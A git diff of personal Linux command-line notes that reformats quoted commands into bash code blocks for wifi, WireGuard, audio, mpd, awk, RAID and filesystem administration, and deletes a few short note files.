`Tx excessive retries:0 Invalid misc:363 Missed beacon`
|
||||
> Tx excessive retries:0 Invalid misc:363 Missed beacon
|
||||
|
||||
This tells you that your ESSID is 'Gandalf WajFaj', and the access point name is 10:05:......
|
||||
|
||||
> nmcli radio
|
||||
```bash
|
||||
nmcli radio
|
||||
```
|
||||
|
||||
You get an overview of your radio devices.
|
||||
You're told that eth0 deals with your ethernet and `wlan0` deals with wifi.
|
||||
`wlan0` is a file which represents your wifi device.
|
||||
|
||||
> nmcli wlan0 wifi rescan
|
||||
```bash
|
||||
nmcli wlan0 wifi rescan
|
||||
```
|
||||
|
||||
> nmcli device wifi list
|
||||
```bash
|
||||
nmcli device wifi list
|
||||
```
|
||||
|
||||
Now to connect.
|
||||
|
||||
> nmcli device wifi connect [SSID] [your password] [wifi password]
|
||||
```bash
|
||||
nmcli device wifi connect [SSID] [your password] [wifi password]
|
||||
```
|
||||
|
||||
Alternatively, you can use
|
||||
|
||||
> nmcli -ask device wifi connect [SSID]
|
||||
```bash
|
||||
nmcli -ask device wifi connect [SSID]
|
||||
```
|
||||
|
||||
And it'll ask for your password, so you're not typing it in in full view.
|
||||
|
||||
|
@ -11,16 +11,25 @@ https://engineerworkshop.com/blog/how-to-set-up-wireguard-on-a-raspberry-pi/
|
||||
|
||||
Install `wireguard-tools` on the server.
|
||||
|
||||
> sudo -i
|
||||
```bash
|
||||
sudo -i
|
||||
```
|
||||
|
||||
> cd /etc/wireguard
|
||||
```bash
|
||||
cd /etc/wireguard
|
||||
```
|
||||
|
||||
umask 077
|
||||
|
||||
> wg genkey | tee server_private_key | wg pubkey > server_public_key
|
||||
```bash
|
||||
wg genkey | tee server_private_key | wg pubkey > server_public_key
|
||||
```
|
||||
|
||||
> wg genkey | tee client_private_key | wg pubkey > client_public_key
|
||||
```bash
|
||||
wg genkey | tee client_private_key | wg pubkey > client_public_key
|
||||
```
|
||||
|
||||
```bash
|
||||
echo "
|
||||
[Interface]
|
||||
Address = 10.0.0.1/24
|
||||
@ -35,14 +44,23 @@ umask 077
|
||||
PublicKey = $(cat client_public_key)
|
||||
AllowedIPs = 10.0.0.2/32
|
||||
" > /etc/wireguard/wg0.conf
|
||||
```
|
||||
|
||||
> echo 'net.ipv4.ip_forward=1' > /etc/sysctl.d/wg.conf
|
||||
```bash
|
||||
echo 'net.ipv4.ip_forward=1' > /etc/sysctl.d/wg.conf
|
||||
```
|
||||
|
||||
> systemctl enable --now wg-quiqck@wg0
|
||||
```bash
|
||||
systemctl enable --now wg-quiqck@wg0
|
||||
```
|
||||
|
||||
> chown -R root:root /etc/wireguard/
|
||||
```bash
|
||||
chown -R root:root /etc/wireguard/
|
||||
```
|
||||
|
||||
> chmod -R og-rwx /etc/wireguard/\*
|
||||
```bash
|
||||
chmod -R og-rwx /etc/wireguard/\*
|
||||
```
|
||||
|
||||
Forward traffic from port 51900 to the server.
|
||||
|
||||
@ -80,4 +98,6 @@ Add multiple peers by copying the `[peer]` section (they each get called `peer`)
|
||||
|
||||
Make a standard client configuration, then:
|
||||
|
||||
> qrencode -t ansiutf8 < /etc/wireguard/mobile_user.conf
|
||||
```bash
|
||||
qrencode -t ansiutf8 < /etc/wireguard/mobile_user.conf
|
||||
```
|
||||
|
@ -4,29 +4,41 @@ tags: [ "Documentation", "Networking" ]
|
||||
---
|
||||
|
||||
# Check wifi's working
|
||||
> lspci -k
|
||||
```bash
|
||||
lspci -k
|
||||
```
|
||||
|
||||
Or for usb wifi:
|
||||
|
||||
> dmesg | grep usbcore
|
||||
```bash
|
||||
dmesg | grep usbcore
|
||||
```
|
||||
|
||||
... and hopefully it'll say the new interface is registered.
|
||||
|
||||
# Check if a wifi interface has been created
|
||||
|
||||
> ip link
|
||||
```bash
|
||||
ip link
|
||||
```
|
||||
|
||||
or
|
||||
|
||||
> iw dev
|
||||
```bash
|
||||
iw dev
|
||||
```
|
||||
|
||||
Assuming it's wlan0, bring it up with
|
||||
|
||||
> ip link set wlan0 up
|
||||
```bash
|
||||
ip link set wlan0 up
|
||||
```
|
||||
|
||||
Error messages probably means your wireless chipset requires a firmware to function. In this case, check the kernel messages for firmware being loaded
|
||||
|
||||
> dmesg | grep firmware
|
||||
```bash
|
||||
dmesg | grep firmware
|
||||
```
|
||||
|
||||
# Utilities
|
||||
|
||||
@ -36,11 +48,15 @@ iw doesn't do wpa/wpa2. wpa_supplicant does everything. iwd does everything ex
|
||||
|
||||
Get the link status:
|
||||
|
||||
> iw dev wlan0 link
|
||||
```bash
|
||||
iw dev wlan0 link
|
||||
```
|
||||
|
||||
Scan for available points:
|
||||
|
||||
> iw dev wlan0 scan
|
||||
```bash
|
||||
iw dev wlan0 scan
|
||||
```
|
||||
|
||||
The connecting commands do not cover wpa2.
|
||||
|
||||
|
@ -7,57 +7,87 @@ wpa_supplicant configurations are stored in /etc/wpa_supplicant/wpa_supplicant-w
|
||||
|
||||
## WiFi Connection
|
||||
|
||||
> wpa_cli
|
||||
```bash
|
||||
wpa_cli
|
||||
```
|
||||
|
||||
Once in, scan the network, add an empty place to store credentials, then input them.
|
||||
|
||||
> scan
|
||||
```bash
|
||||
scan
|
||||
```
|
||||
|
||||
> scan_results
|
||||
```bash
|
||||
scan_results
|
||||
```
|
||||
|
||||
> add_network
|
||||
```bash
|
||||
add_network
|
||||
```
|
||||
|
||||
This outputs a network number, e.g. '3'. This is the new network you'll work with.
|
||||
|
||||
> set_network *3* ssid *"Kosachok Cafe"*
|
||||
```bash
|
||||
set_network *3* ssid *"Kosachok Cafe"*
|
||||
```
|
||||
|
||||
> set_network 3 psk *"Kosachok2019"*
|
||||
```bash
|
||||
set_network 3 psk *"Kosachok2019"*
|
||||
```
|
||||
|
||||
OR (for no password)
|
||||
|
||||
> set_network *3* key_mgmt NONE
|
||||
```bash
|
||||
set_network *3* key_mgmt NONE
|
||||
```
|
||||
|
||||
> enable_network 3
|
||||
```bash
|
||||
enable_network 3
|
||||
```
|
||||
|
||||
> save_config
|
||||
```bash
|
||||
save_config
|
||||
```
|
||||
|
||||
This takes a while to connect, so to speed things up, restart the service:
|
||||
|
||||
> sudo sv restart wpa_supplicant
|
||||
```bash
|
||||
sudo sv restart wpa_supplicant
|
||||
```
|
||||
|
||||
# Scripts
|
||||
|
||||
You can script like this:
|
||||
|
||||
> wpa_cli add_network
|
||||
```bash
|
||||
wpa_cli add_network
|
||||
```
|
||||
|
||||
That returns an ID, so you can say:
|
||||
|
||||
> newNetwork="$(wpa_cli add_network)"
|
||||
```bash
|
||||
newNetwork="$(wpa_cli add_network)"
|
||||
```
|
||||
|
||||
Then `$newNetwork` would equal that number, and you can add/ remove networks with scripts.
|
||||
|
||||
But remember to escape the quotes, so adding a network would be:
|
||||
|
||||
> wpa_cli set_network *3* psk *\""passphrase"\"*
|
||||
```bash
|
||||
wpa_cli set_network *3* psk *\""passphrase"\"*
|
||||
```
|
||||
|
||||
## Generating Keys Manually
|
||||
|
||||
> wpa_passphrase [ssid] [password]
|
||||
```bash
|
||||
wpa_passphrase [ssid] [password]
|
||||
```
|
||||
|
||||
For example:
|
||||
|
||||
> wpa_passphrase 'Cafe Kosachok' 'Kosachok2019'
|
||||
```bash
|
||||
wpa_passphrase 'Cafe Kosachok' 'Kosachok2019'
|
||||
```
|
||||
|
||||
This then spills the relevant psk and such to be entered into the wpa_supplicant configuration file.
|
||||
|
||||
@ -65,6 +95,8 @@ If you encounter problems, you will probably need to delete the old device pid i
|
||||
|
||||
Next up, start wpa_supplicant:
|
||||
|
||||
> wpa_supplicant -B -iwlan0 -c /etc/wpa_supplicant/wpa_supplicant-wlan0
|
||||
```bash
|
||||
wpa_supplicant -B -iwlan0 -c /etc/wpa_supplicant/wpa_supplicant-wlan0
|
||||
```
|
||||
|
||||
The -B flag runs this as a background process. Remove this to see real-time output in order to solve problems. The -i flag denotes the physical device used for the wifi. The -c flag points to the configuration file for use.
|
||||
|
@ -9,11 +9,15 @@ Check with `which pulseaudio`. No output means you need to use alsa (below).
|
||||
|
||||
# Volume Control
|
||||
|
||||
> pactl set sink @DEFAULT_SINK@ +5%
|
||||
```bash
|
||||
pactl set sink @DEFAULT_SINK@ +5%
|
||||
```
|
||||
|
||||
Find working outputs:
|
||||
|
||||
> aplay -l
|
||||
```bash
|
||||
aplay -l
|
||||
```
|
||||
|
||||
#Sound Settings
|
||||
|
||||
@ -26,7 +30,9 @@ amixer scontrols
|
||||
|
||||
# Change a Sound setting
|
||||
|
||||
> amixer set Master 5%-
|
||||
```bash
|
||||
amixer set Master 5%-
|
||||
```
|
||||
|
||||
# Restart everything
|
||||
|
||||
@ -36,22 +42,34 @@ pulseaudio -k && sudo alsa force-reload
|
||||
|
||||
Toggle, mute, increase or decrase audio:
|
||||
|
||||
> amixer sset Master toggle
|
||||
```bash
|
||||
amixer sset Master toggle
|
||||
```
|
||||
|
||||
> amixer sset Master mute
|
||||
```bash
|
||||
amixer sset Master mute
|
||||
```
|
||||
|
||||
> amixer sset Master 5%+
|
||||
```bash
|
||||
amixer sset Master 5%+
|
||||
```
|
||||
|
||||
> amixer sset Master 5%-
|
||||
```bash
|
||||
amixer sset Master 5%-
|
||||
```
|
||||
|
||||
# Finicky Sound Cards
|
||||
|
||||
Start with:
|
||||
|
||||
> alsamixer
|
||||
```bash
|
||||
alsamixer
|
||||
```
|
||||
|
||||
Then press `F6` to see available Sound cards.
|
||||
If you find a Sound card called 'PinePhone', then you can select an audio source there, and adjust with:
|
||||
|
||||
> amixer -c PinePhone set 'Headphone' 50%
|
||||
```bash
|
||||
amixer -c PinePhone set 'Headphone' 50%
|
||||
```
|
||||
|
||||
|
@ -6,9 +6,13 @@ tags: [ "Documentation", "Sound" ]
|
||||
|
||||
Add your user to the audio group, and install `festival-english`.
|
||||
|
||||
> echo "(Parameter.set 'Audio_Method 'Audio_Command)" >> /usr/share/festival/voices.scm
|
||||
```bash
|
||||
echo "(Parameter.set 'Audio_Method 'Audio_Command)" >> /usr/share/festival/voices.scm
|
||||
```
|
||||
|
||||
> echo "(Parameter.set 'Audio_Command "aplay -q -c 1 -t raw -f s16 -r $SR $FILE")" /usr/share/festival/voices.scm
|
||||
```bash
|
||||
echo "(Parameter.set 'Audio_Command "aplay -q -c 1 -t raw -f s16 -r $SR $FILE")" /usr/share/festival/voices.scm
|
||||
```
|
||||
|
||||
# Set Default Voice
|
||||
|
||||
|
64
sound/mpd.md
64
sound/mpd.md
@ -8,45 +8,47 @@ tags: [ "Documentation", "Sound" ]
|
||||
|
||||
This is a minimum configuration file for /etc/mpd.conf
|
||||
|
||||
```
|
||||
|
||||
music_directory "/var/lib/mpd/music"
|
||||
> music_directory "/var/lib/mpd/music"
|
||||
>
|
||||
> playlist_directory "/var/lib/mpd/playlists"
|
||||
>
|
||||
> db_file "/var/lib/mpd/mpd.db"
|
||||
>
|
||||
>
|
||||
> pid_file "/run/mpd/mpd.pid"
|
||||
>
|
||||
> state_file "/var/lib/mpd/mpdstate"
|
||||
>
|
||||
>
|
||||
> user "mpd"
|
||||
>
|
||||
> audio_output {
|
||||
> type "pulse"
|
||||
> name "My Pulse Output"
|
||||
> }
|
||||
>
|
||||
> audio_output {
|
||||
> type "fifo"
|
||||
> name "my_fifo"
|
||||
> path "/tmp/mpd.fifo"
|
||||
> format "44100:16:2"
|
||||
> }
|
||||
|
||||
playlist_directory "/var/lib/mpd/playlists"
|
||||
|
||||
db_file "/var/lib/mpd/mpd.db"
|
||||
|
||||
|
||||
pid_file "/run/mpd/mpd.pid"
|
||||
|
||||
state_file "/var/lib/mpd/mpdstate"
|
||||
|
||||
|
||||
user "mpd"
|
||||
|
||||
audio_output {
|
||||
type "pulse"
|
||||
name "My Pulse Output"
|
||||
}
|
||||
|
||||
audio_output {
|
||||
type "fifo"
|
||||
name "my_fifo"
|
||||
path "/tmp/mpd.fifo"
|
||||
format "44100:16:2"
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
You can use alsa instead of pulse, but don't unless you're on a Pi.
|
||||
|
||||
Since this is run as the mpd user, you'll need to grant that user pulse acceess, often with the user-group `pulse` or `pulse-access`, but your distro may vary.
|
||||
|
||||
> sudo usermod -aG pulse-access mpd
|
||||
```bash
|
||||
sudo usermod -aG pulse-access mpd
|
||||
```
|
||||
|
||||
Working with mpd will be easier if you have access to its files, so maybe:
|
||||
|
||||
> sudo usermod -aG mpd $USER
|
||||
```bash
|
||||
sudo usermod -aG mpd $USER
|
||||
```
|
||||
|
||||
|
||||
|
||||
@ -54,5 +56,7 @@ Working with mpd will be easier if you have access to its files, so maybe:
|
||||
|
||||
Install `mpd-notification` and then start the service:
|
||||
|
||||
> systemctl --user enable mpd-notification
|
||||
```bash
|
||||
systemctl --user enable mpd-notification
|
||||
```
|
||||
|
||||
|
@ -17,7 +17,9 @@ I couldn't change volume, so in mpd.conf I uncommented the pulse audio lines and
|
||||
|
||||
Also, make sure the user mpd is part of the group pulse:
|
||||
|
||||
> sudo adduser mpd pulse
|
||||
```bash
|
||||
sudo adduser mpd pulse
|
||||
```
|
||||
|
||||
In the audio_output section, try setting the mix_type to "software", not "hardware".
|
||||
|
||||
|
@ -8,24 +8,33 @@ tags: [ "Documentation", "System" ]
|
||||
|
||||
Install:
|
||||
|
||||
> yay -S simple-mtpfs
|
||||
```bash
|
||||
yay -S simple-mtpfs
|
||||
```
|
||||
|
||||
List available phones:
|
||||
|
||||
> simple-mtpfs -l
|
||||
```bash
|
||||
simple-mtpfs -l
|
||||
```
|
||||
|
||||
Make a mount point:
|
||||
|
||||
> mkdir phone
|
||||
```bash
|
||||
mkdir phone
|
||||
```
|
||||
|
||||
Check your phone, and tell it to allow access to the USB.
|
||||
|
||||
> simple-mtpfs --device 1 phone
|
||||
```bash
|
||||
simple-mtpfs --device 1 phone
|
||||
```
|
||||
|
||||
## Stop
|
||||
|
||||
> fusermount -u phone
|
||||
|
||||
```bash
|
||||
fusermount -u phone
|
||||
rmdir phone
|
||||
```
|
||||
|
||||
|
||||
|
@ -8,39 +8,55 @@ See a file's contents:
|
||||
|
||||
Return full contents of a string:
|
||||
|
||||
> awk '{ print }' file
|
||||
```bash
|
||||
awk '{ print }' file
|
||||
```
|
||||
|
||||
Print the first and second column:
|
||||
|
||||
> awk '{print$1$2}'
|
||||
```bash
|
||||
awk '{print$1$2}'
|
||||
```
|
||||
|
||||
Return every line with the word 'the' (like grep):
|
||||
|
||||
> awk '/the/{print}' file
|
||||
```bash
|
||||
awk '/the/{print}' file
|
||||
```
|
||||
|
||||
Print everything containing a lowercase letter:
|
||||
|
||||
> awk '/[a-z]/{print}' file
|
||||
```bash
|
||||
awk '/[a-z]/{print}' file
|
||||
```
|
||||
|
||||
Same with numbers [0-9], or using a caret we can show lines starting with a number - ^[0-9], or ending with an uppercase letter - $[A-Z].
|
||||
|
||||
# Conditionals
|
||||
|
||||
> awk '{ if($1 ~ /123/) print }' file
|
||||
```bash
|
||||
awk '{ if($1 ~ /123/) print }' file
|
||||
```
|
||||
|
||||
Check if the first column is equal to 1 or 2 or 3, and if so then print that line.
|
||||
|
||||
Grep for 'hawk' in a story:
|
||||
|
||||
> awk '/hawk/' story.txt
|
||||
```bash
|
||||
awk '/hawk/' story.txt
|
||||
```
|
||||
|
||||
Return any line with one or more "&" sequences:
|
||||
|
||||
> awk '/&+/' script.sh
|
||||
```bash
|
||||
awk '/&+/' script.sh
|
||||
```
|
||||
|
||||
The pipe is used for 'or', so 'Orcs or drums' would be:
|
||||
|
||||
> awk '/Orcs|Drums/' story.txt
|
||||
```bash
|
||||
awk '/Orcs|Drums/' story.txt
|
||||
```
|
||||
|
||||
Basic variables are:
|
||||
|
||||
|
@ -4,7 +4,9 @@ tags: [ "Documentation", "System" ]
|
||||
---
|
||||
Convert a text file from one encoding type to another with:
|
||||
|
||||
> iconv -f ascii -t utf8 oldfilename > newfilename
|
||||
```bash
|
||||
iconv -f ascii -t utf8 oldfilename > newfilename
|
||||
```
|
||||
|
||||
Available options are:
|
||||
|
||||
@ -18,5 +20,7 @@ Available options are:
|
||||
|
||||
Generate a full list of encoding types available with:
|
||||
|
||||
> iconv -l
|
||||
```bash
|
||||
iconv -l
|
||||
```
|
||||
|
||||
|
@ -1,49 +0,0 @@
|
||||
---
|
||||
title: "compression"
|
||||
tags: [ "Documentation", "System" ]
|
||||
---
|
||||
# Tar
|
||||
|
||||
## Basics
|
||||
|
||||
* --create -c
|
||||
|
||||
* --list -t
|
||||
|
||||
* --extract --get -x
|
||||
|
||||
* --file=file -f file
|
||||
|
||||
|
||||
|
||||
|
||||
Look in tar file:
|
||||
|
||||
> tar -tf filename.tar.gz
|
||||
|
||||
Look in detail:
|
||||
|
||||
> tar -tvf filename.tar.gz
|
||||
|
||||
# Zip
|
||||
|
||||
Zip file:
|
||||
|
||||
> zip name.zip file
|
||||
|
||||
Zip directory:
|
||||
|
||||
> zip -r name.zip dir
|
||||
|
||||
Update existing entries.
|
||||
|
||||
> zip -ru name.zip dir file1 file2
|
||||
|
||||
Delete file from the zipfile.
|
||||
|
||||
> zip -d name.zip dfile
|
||||
|
||||
# 7z for .img.xz
|
||||
|
||||
> 7z x file.img.xz
|
||||
|
@ -9,27 +9,37 @@ Install the package `xdg-utils`, then make very liberal use of the tab button.
|
||||
|
||||
Ask what type of application opens an mkv file:
|
||||
|
||||
> xdg-mime query default video/mkv
|
||||
```bash
|
||||
xdg-mime query default video/mkv
|
||||
```
|
||||
|
||||
Same with pdf:
|
||||
|
||||
> xdg-mime query default application/pdf
|
||||
```bash
|
||||
xdg-mime query default application/pdf
|
||||
```
|
||||
|
||||
Ask what file-type `book.pdf` uses.
|
||||
|
||||
> xdg-mime query filetype *book.pdf*
|
||||
```bash
|
||||
xdg-mime query filetype *book.pdf*
|
||||
```
|
||||
|
||||
## Set
|
||||
|
||||
Set the mime type of mp4 videos to mpv.
|
||||
|
||||
> xdg-mime default mpv.desktop video/mp4
|
||||
```bash
|
||||
xdg-mime default mpv.desktop video/mp4
|
||||
```
|
||||
|
||||
You'll need to use the tab key a lot here, and remember many items start with `org`.
|
||||
|
||||
You can use an asterisk for everything in a category.
|
||||
|
||||
> xdg-mime default org.gnome.font-viewer.desktop font/\*
|
||||
```bash
|
||||
xdg-mime default org.gnome.font-viewer.desktop font/\*
|
||||
```
|
||||
|
||||
This often won't work as expected, because some fonts will have the type `application` rather than `font`.
|
||||
|
||||
|
@ -1,51 +0,0 @@
|
||||
---
|
||||
title: "e-mail"
|
||||
tags: [ "Documentation", "System" ]
|
||||
---
|
||||
# Terminology
|
||||
|
||||
|MTA | Mail transfer agent |
|
||||
|POP3| Post Office Protocol 3 |
|
||||
|SMTP| Simple Mail Transfer Protocol|
|
||||
|IMAP| Internet Message Access Protocol|
|
||||
|
||||
There are a number of Linux e-mail agents - postfix, sendmail, exim (insecure) and qmail (dead).
|
||||
|
||||
# Programs
|
||||
|
||||
> sudo apt-get install postfix mailutils
|
||||
|
||||
This will register your domain in the /etc/postfix/main.cf file.
|
||||
|
||||
# Internal Mail
|
||||
|
||||
> sendmail -t roach-1
|
||||
|
||||
Write a message and stop composition with Ctrl+D.
|
||||
|
||||
The mail is kept in /var/mail/ and you can read it with:
|
||||
|
||||
> mail
|
||||
|
||||
# Aliases
|
||||
|
||||
Aliases are groups of mail recipients. The lists are kept under /etc/aliases.
|
||||
|
||||
`crew: matthew@gmail.com,ghost,danial@yahoo.com`
|
||||
|
||||
Update the list of aliases from this with:
|
||||
|
||||
> sudo newaliases
|
||||
|
||||
Then you can:
|
||||
|
||||
> sendmail -t crew
|
||||
|
||||
... and send to the whole crew.
|
||||
|
||||
|
||||
View pending e-mails using:
|
||||
|
||||
> mailq
|
||||
|
||||
|
@ -1,5 +1,5 @@
|
||||
---
|
||||
title: "editors"
|
||||
title: "$EDITOR"
|
||||
tags: [ "Documentation", "System" ]
|
||||
---
|
||||
The System's default text editor can be defined within /etc/profile. It's given the variable `EDITOR`.
|
||||
@ -16,9 +16,12 @@ export VISUAL=$EDITOR
|
||||
|
||||
Then reload that profile with:
|
||||
|
||||
> source /etc/profile
|
||||
```bash
|
||||
source /etc/profile
|
||||
```
|
||||
|
||||
If nano still pops up:
|
||||
|
||||
> sudo ln -sf $(which vim) $(which nano)
|
||||
If you want to ensure `nano` never appears again:
|
||||
|
||||
```bash
|
||||
sudo ln -sf $(which vim) $(which nano)
|
||||
```
|
||||
|
@ -1,45 +0,0 @@
|
||||
---
|
||||
title: "elvish"
|
||||
tags: [ "Documentation", "System" ]
|
||||
---
|
||||
# Setup
|
||||
To run a shell as non-root, the shell must be listed in /etc/shells.
|
||||
|
||||
# Basics
|
||||
Elvish has an inbuilt calculator.
|
||||
|
||||
Basic commands include: *, ^, +. E.g.:
|
||||
|
||||
> 2*4+2
|
||||
|
||||
|
||||
#Lists
|
||||
|
||||
li = [orcs hobbits elves]
|
||||
|
||||
Then either
|
||||
|
||||
> echo $li
|
||||
|
||||
> echo $@li
|
||||
|
||||
> echo $path
|
||||
|
||||
|
||||
# Environmental Variables
|
||||
Summon with E:, e.g.
|
||||
|
||||
> echo $E:USER
|
||||
|
||||
# Commands
|
||||
|
||||
C-n - File manager
|
||||
|
||||
C-l - Recent locations
|
||||
|
||||
C-r - Recent commands
|
||||
|
||||
See all binding with:
|
||||
|
||||
> pprint $edit:insert:binding
|
||||
|
@ -1,25 +1,38 @@
|
||||
|
||||
---
|
||||
title: "exiftool"
|
||||
tags: [ "Documentation", "Metadata" ]
|
||||
---
|
||||
|
||||
Find metadata.
|
||||
|
||||
> exiftool image.jpg
|
||||
```bash
|
||||
exiftool image.jpg
|
||||
```
|
||||
|
||||
Find info on all images in current directory.
|
||||
|
||||
> exiftool -ext .png .
|
||||
```bash
|
||||
exiftool -ext .png .
|
||||
```
|
||||
|
||||
You can make this recurring with the -r switch.
|
||||
|
||||
And overwrite all metadata:
|
||||
|
||||
> exiftool -all= -overwrite_original -ext jpg .
|
||||
```bash
|
||||
exiftool -all= -overwrite_original -ext jpg .
|
||||
```
|
||||
|
||||
Or just GPS data:
|
||||
|
||||
> exiftool -gps:all= *.jpg
|
||||
```bash
|
||||
exiftool -gps:all= *.jpg
|
||||
```
|
||||
|
||||
You can also use the imagemagick tool:
|
||||
|
||||
> identify -verbose
|
||||
```bash
|
||||
identify -verbose
|
||||
```
|
||||
|
||||
|
||||
|
@ -15,11 +15,9 @@ The ordering of `/etc/fstab` is
|
||||
|
||||
E.g.:
|
||||
|
||||
```
|
||||
UUID=877f14e8-4738-46b0-884f-ba330dad1a7d /mnt/biggie ext4 nofail,rw,relatime 0 2
|
||||
|
||||
UUID=B21648C416488AF5 /mnt/share ntfs nofail,rw,nosuid,nodev,user_id=0,group_id=0,allow_other,blksize=4096 0 0
|
||||
```
|
||||
> UUID=877f14e8-4738-46b0-884f-ba330dad1a7d /mnt/biggie ext4 nofail,rw,relatime 0 2
|
||||
>
|
||||
> UUID=B21648C416488AF5 /mnt/share ntfs nofail,rw,nosuid,nodev,user_id=0,group_id=0,allow_other,blksize=4096 0 0
|
||||
|
||||
## 5: Dump
|
||||
|
||||
|
@ -4,26 +4,38 @@ tags: [ "Documentation", "System" ]
|
||||
---
|
||||
Check which kernet modules are loaded into memory
|
||||
|
||||
> sudo /sbin/lsmod
|
||||
```bash
|
||||
sudo /sbin/lsmod
|
||||
```
|
||||
|
||||
Check which virtual box modules are loaded into memory
|
||||
|
||||
> sudo /sbin/lsmod | grep vbox
|
||||
```bash
|
||||
sudo /sbin/lsmod | grep vbox
|
||||
```
|
||||
|
||||
Virtual box is using vboxpci, vboxnetadp, vboxnetflt, vboxdr.
|
||||
|
||||
Look at what's claiming wifi:
|
||||
|
||||
> sudo lshw -C network
|
||||
```bash
|
||||
sudo lshw -C network
|
||||
```
|
||||
|
||||
If this shows that the device is 'unclaimed' then it's time to add a module, e.g. ath9k.
|
||||
|
||||
> sudo modprobe ath9k
|
||||
```bash
|
||||
sudo modprobe ath9k
|
||||
```
|
||||
|
||||
Modules can also be 'restarted' by removing and adding them, e.g. the video module, 'uvcvideo':
|
||||
|
||||
> sudo rmmod uvcvideo
|
||||
```bash
|
||||
sudo rmmod uvcvideo
|
||||
```
|
||||
|
||||
> sudo modprobe uvcvideo
|
||||
```bash
|
||||
sudo modprobe uvcvideo
|
||||
```
|
||||
|
||||
|
||||
|
@ -7,7 +7,9 @@ tags: [ "Documentation", "RAID" ]
|
||||
You will need 4 disks and the `mdadm` package.
|
||||
The total size will be equal to the disks x 3, because one will be used for redundancy.
|
||||
|
||||
> sudo mdadm --create --verbose /dev/*md127* --level=5 --raid-devices=*4* */dev/sdb /dev/sdc /dev/sdd /dev/sde*
|
||||
```bash
|
||||
sudo mdadm --create --verbose /dev/*md127* --level=5 --raid-devices=*4* */dev/sdb /dev/sdc /dev/sdd /dev/sde*
|
||||
```
|
||||
|
||||
Note the variable parts:
|
||||
|
||||
@ -17,17 +19,23 @@ Note the variable parts:
|
||||
|
||||
Now look at how the raid status:
|
||||
|
||||
> cat /proc/mdstat
|
||||
```bash
|
||||
cat /proc/mdstat
|
||||
```
|
||||
|
||||
This will increase until the entire thing is fine.
|
||||
|
||||
Check the health of your `mdadm` array:
|
||||
|
||||
> sudo mdadm --detail /dev/md127
|
||||
```bash
|
||||
sudo mdadm --detail /dev/md127
|
||||
```
|
||||
|
||||
You should see `State : clean`. If you see it is `degraded`, then a disk has broken.
|
||||
|
||||
## Replacing a Disk
|
||||
|
||||
> sudo mdadm --add /dev/md127 /dev/sdb1
|
||||
```bash
|
||||
sudo mdadm --add /dev/md127 /dev/sdb1
|
||||
```
|
||||
|
||||
|
@ -4,7 +4,9 @@ tags: [ "Documentation", "System" ]
|
||||
---
|
||||
# FDisk Basics
|
||||
|
||||
> sudo fdisk /dev/sda
|
||||
```bash
|
||||
sudo fdisk /dev/sda
|
||||
```
|
||||
|
||||
- m for help.
|
||||
|
||||
@ -29,15 +31,21 @@ fdisk will not help with a GPT formatted drive. For this, use gdisk, which is m
|
||||
|
||||
Now that we have a partition, we can make it into a fileSystem. Most will use:
|
||||
|
||||
> sudo mkfs -t ext4 /dev/sdc1
|
||||
```bash
|
||||
sudo mkfs -t ext4 /dev/sdc1
|
||||
```
|
||||
|
||||
or if you're making a swap partition, you can use:
|
||||
|
||||
> sudo mkswap /dev/sdb2
|
||||
```bash
|
||||
sudo mkswap /dev/sdb2
|
||||
```
|
||||
|
||||
or for the reiser fileSystem, we can use:
|
||||
|
||||
> sudo mkreiserfs /dev/sdc2
|
||||
```bash
|
||||
sudo mkreiserfs /dev/sdc2
|
||||
```
|
||||
|
||||
# File System Types
|
||||
|
||||
@ -53,61 +61,87 @@ or for the reiser fileSystem, we can use:
|
||||
|
||||
# Parted
|
||||
|
||||
> sudo parted /dev/sdb
|
||||
```bash
|
||||
sudo parted /dev/sdb
|
||||
```
|
||||
|
||||
|
||||
# Monitoring
|
||||
Look at physical and virtual partitions:
|
||||
|
||||
> df -h
|
||||
```bash
|
||||
df -h
|
||||
```
|
||||
|
||||
or divide things by inode - the thing which records where files are?
|
||||
|
||||
> df -i
|
||||
```bash
|
||||
df -i
|
||||
```
|
||||
|
||||
Examine a fileSystem with:
|
||||
|
||||
> sudo dumpe2fs /dev/sda1 | less
|
||||
```bash
|
||||
sudo dumpe2fs /dev/sda1 | less
|
||||
```
|
||||
|
||||
# Prevention
|
||||
There are multiple programs which work mostly the same way.
|
||||
|
||||
> sudo tune2fs -c 30 /dev/sda1
|
||||
```bash
|
||||
sudo tune2fs -c 30 /dev/sda1
|
||||
```
|
||||
|
||||
This will check sda1 every 30 boots. It can also be checked every month.
|
||||
|
||||
> sudo tune2fs -i 1m /dev/sda1
|
||||
```bash
|
||||
sudo tune2fs -i 1m /dev/sda1
|
||||
```
|
||||
|
||||
This thing can also make a new label for the System:
|
||||
|
||||
> sudo tune2fs -L new_name /dev/sdb3
|
||||
```bash
|
||||
sudo tune2fs -L new_name /dev/sdb3
|
||||
```
|
||||
|
||||
# Repair
|
||||
Start by unmounting the fileSystem.
|
||||
|
||||
> sudo umount /dev/sdc1
|
||||
```bash
|
||||
sudo umount /dev/sdc1
|
||||
```
|
||||
|
||||
Then it's time to check.
|
||||
|
||||
> sudo fsck /dev/sdc1
|
||||
```bash
|
||||
sudo fsck /dev/sdc1
|
||||
```
|
||||
|
||||
And possibly repair damage:
|
||||
|
||||
> e2fsck -p /dev/sdc1
|
||||
```bash
|
||||
e2fsck -p /dev/sdc1
|
||||
```
|
||||
|
||||
|
||||
or the same with:
|
||||
|
||||
> sudo debugfs /dev/sdc1
|
||||
```bash
|
||||
sudo debugfs /dev/sdc1
|
||||
```
|
||||
|
||||
# Mounting
|
||||
You can mount with a specified filetype with:
|
||||
|
||||
> sudo mount -t ext3 /dev/sdc2 /mnt/stick
|
||||
```bash
|
||||
sudo mount -t ext3 /dev/sdc2 /mnt/stick
|
||||
```
|
||||
|
||||
or if you don't know the type, just try the lot:
|
||||
|
||||
> sudo mount -a /dev/sdc1 /mnt/stick
|
||||
```bash
|
||||
sudo mount -a /dev/sdc1 /mnt/stick
|
||||
```
|
||||
|
||||
# File Systems
|
||||
xfs and zfs can only be expanded.
|
||||
@ -118,21 +152,31 @@ NB: When I followed these instructions, the process destroyed my data. Seemed fi
|
||||
|
||||
Check the fileSystem's health:
|
||||
|
||||
> sudo e2fsck -f /dev/sdb1
|
||||
```bash
|
||||
sudo e2fsck -f /dev/sdb1
|
||||
```
|
||||
|
||||
Resize the file System to something smaller than what you want, so here I want 500G and so I resize to 450 G.
|
||||
|
||||
> resize2fs /dev/sdb1 450G
|
||||
```bash
|
||||
resize2fs /dev/sdb1 450G
|
||||
```
|
||||
|
||||
Then delete the partition with either gdisk or fdisk, depending upon the layout.
|
||||
|
